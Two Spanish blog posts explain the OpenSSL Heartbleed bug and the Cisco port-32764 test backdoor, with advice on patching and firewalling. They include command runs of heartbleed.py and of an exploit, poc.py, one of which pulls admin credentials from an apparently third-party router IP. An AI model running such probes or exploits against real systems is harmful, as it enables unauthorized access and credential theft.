Mostrando entradas con la etiqueta parche. Mostrar todas las entradas
Mostrando entradas con la etiqueta parche. Mostrar todas las entradas

miércoles, 9 de abril de 2014

TA14-098A: OpenSSL 'Heartbleed' vulnerability (CVE-2014-0160), Holly crap!!! LEER!!!

Para quienes no conocen OpenSSL, se trata de un conjunto de bibliotecas de software que implemetan funciones criptográficas. Estas bibliotecas son fuertemente utilizadas para brindar seguridad en las comunicaciones como por ejemplo en: VPNs, HTTPS, SSH, etc.

El bug en cuestión, denominado Heartbleed e identificado por mitre como CVE-2014-0160 permite al atacante acceder a parte de la memoria del sistema vulnerable y así obtener las claves con las que se podría acceder a la información protegida por la capa SSL/TLS de la comunicación.

La posible información filtrada se organiza en 4 categorías según su criticidad:

1- Primary key material: ni mas ni menos que la clave de un certificado X.509 por ejemplo. Este nivel de compromiso es costosísimo... para solucionarlo, además de aplicar el parche para OpenSSL es necesario revocar el certificado en cuestión y pedir uno nuevo, de lo contrario cualquier tráfico futuro podría ser espiado. Cualquier tráfico pasado es completamente legible para el atacante.

2- Secondary key material: un ejemplo de este tipo son las claves del home banking, de sitios webs que utilicen SSL/TLS, etc. Si tu banco aún es vulnerable yo cambiaría las credenciales, claro una vez que hayan solucionado el problema.

3- Protected content: en esta categoría cae toda la información que es transferida durante la comunicación cifrada. Por ejemplo archivos adjuntos descargados de una cuenta de correo, o transferidos a través de una VPN, etc.

4- Collateral: esta cuarta categoría es de baja importancia para el usuario del sistema, se trata de información acerca del entorno del sistema vulnerable, como direcciones de memoria y medidas de seguridad existentes.

Cómo saber si mis sistemas son vulnerables?

Bueno, hay al menos dos formas de saberlo. Una de ellas es identificando la versión de OpenSSL instalada en el sistema y la otra es probando la vulnerabilidad como Dios manda.

Versión de OpenSSL instalada:


juan@moon:~/pruebas$ openssl version
OpenSSL 1.0.0e 6 Sep 2011
juan@moon:~/pruebas$ 

Las versiones de OpenSSL entre 1.0.1 y 1.0.1g se ven afectadas (la mía por ejemplo es vulnerable). 

Podemos probar la vulnerabilidad de dos maneras, tercerizándolo (me da cierto miedo este camino, nunca sabemos con certeza las intenciones de terceros) por http://filippo.io/Heartbleed/ 



o usando el script provisto por Jared Stafford en http://pastebin.com/3NdQVHxn (que por algún motivo no coincide con la valoración de heartbleed test).

 Ejemplo:

juan@moon:~/pruebas$ ./heartbleed.py XXXXXXXX
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0301, length = 66
 ... received message: type = 22, ver = 0301, length = 3982
 ... received message: type = 22, ver = 0301, length = 331
 ... received message: type = 22, ver = 0301, length = 4
Sending heartbeat request...
 ... received message: type = 21, ver = 0302, length = 2
Received alert:
  0000: 02 46                                            .F

Server returned error, likely not vulnerable
juan@moon:~/pruebas$ 

Es probable que una de las dos pruebas no sea del todo precisa, y si nos remitimos a la versión de OpenSSL del servidor

[root@XXXXXX ~]# openssl version
OpenSSL 1.0.1e-fips 11 Feb 2013
[root@XXXXXX ~]# 

podemos confirmar que la prueba web es mas precisa que el script.

Cómo solucionarlo?

La solución al bug es sencilla, basta con actualizar la versión de OpenSSL, la mayoría de las distribuciones de linux ya la tienen disponible. La dificultad está en cómo tratar los sistemas que fueron comprometidos. 

Lamentablemente no es posible (al menos por lo que leí) identificar qué sistemas fueron vulnerados, los administradores de sistemas que manejen información realmente importante deberían considerar fuertemente la idea de revocar los certificados y reemplazarlos.

sábado, 25 de enero de 2014

CVE-2014-0659 bug or backdor? Equipos cisco en problemas

"Undocumented Test Interface in Cisco Small Business Devices" dijo cisco hace unos pocos días en http://tools.cisco.com/security/center/viewAlert.x?alertId=32381 . Al parecer los desarrolladores de firmware de varios de sus Routers/AP se olvidaron de retirar esta ""feature"" de test no documentada antes de lanzarlos al mercado.

Lo que resulta mas gracioso de todo esto es que uno de los primeros (sino el primero) de los reportes sobre este comportamiento extraño (puerto 32764 TCP abierto) fue anunciado en Julio de 2010, mas de 3 años atrás! y paso perfectamente desapercibido hasta fines del año pasado. Claro, al menos eso creemos ajja.

En la pasada navidad, el francés (Eloi Vanderbeken) se vio sorprendido por un puerto abierto en su router Linksys WAG200G y realizó un interesante trabajo para explotar esta interfaz de testing, logrando un pulido y potente exploit para una gran cantidad de los equipos afectados.

La explicación de cómo encontró el "bug" y el desarrollo del exploit lo pueden ver desde aquí, si tienen tiempo lean el PDF, es una mezcla de humor bizarro y hacking jajaj.

Las recomendaciones para quienes tengan alguno de los equipos listados en el primer link:

  • Proteger el acceso al router mediante un firewall, inclusive podría ser el mismo firewall que trae el equipo.
  • Actualizar a la brevedad el firmware (al día de hoy, cisco no liberó una actualización que corrija el problema, según indican se liberará el parche a fines de enero).
Una prueba sencilla (aunque no completa) para ver si nuestro router es vulnerable es intentar conectarse al puerto 32764 con telnet por ejemplo:

-no vulnerable

juan@moon:~$ telnet 192.168.1.1 32764
Trying 192.168.1.1...
telnet: Unable to connect to remote host: Connection refused
juan@moon:~$ 

-posiblemente vulnerable

juan@moon:~$ telnet 190.151.X.X 32764
Trying 190.151.X.X...
Connected to 190.151.X.X.
Escape character is '^]'.

ScMM��Connection closed by foreign host.
juan@moon:~$ 

Para corroborar la vulnerabilidad se puede utilizar el exploit, poc.py:

juan@moon:~/Escritorio$ python poc.py --ip 190.151.X.X
190.151.X.X:32764 is vulnerable!
juan@moon:~/Escritorio$ 

Y si todavía tienen dudas, vean las credenciales de administración

juan@moon:~/Escritorio$ python poc.py --ip 190.151.X.X --get_credentials
log_login_fail:0
log_login_success:0
login_password:xxxxxxx
login_username:xxxxxxx
juan@moon:~/Escritorio$ 

En fin, si tienen alguno de esos equipos, estén atentos a la actualización que debería liberar cisco en estos días! 

Saludos!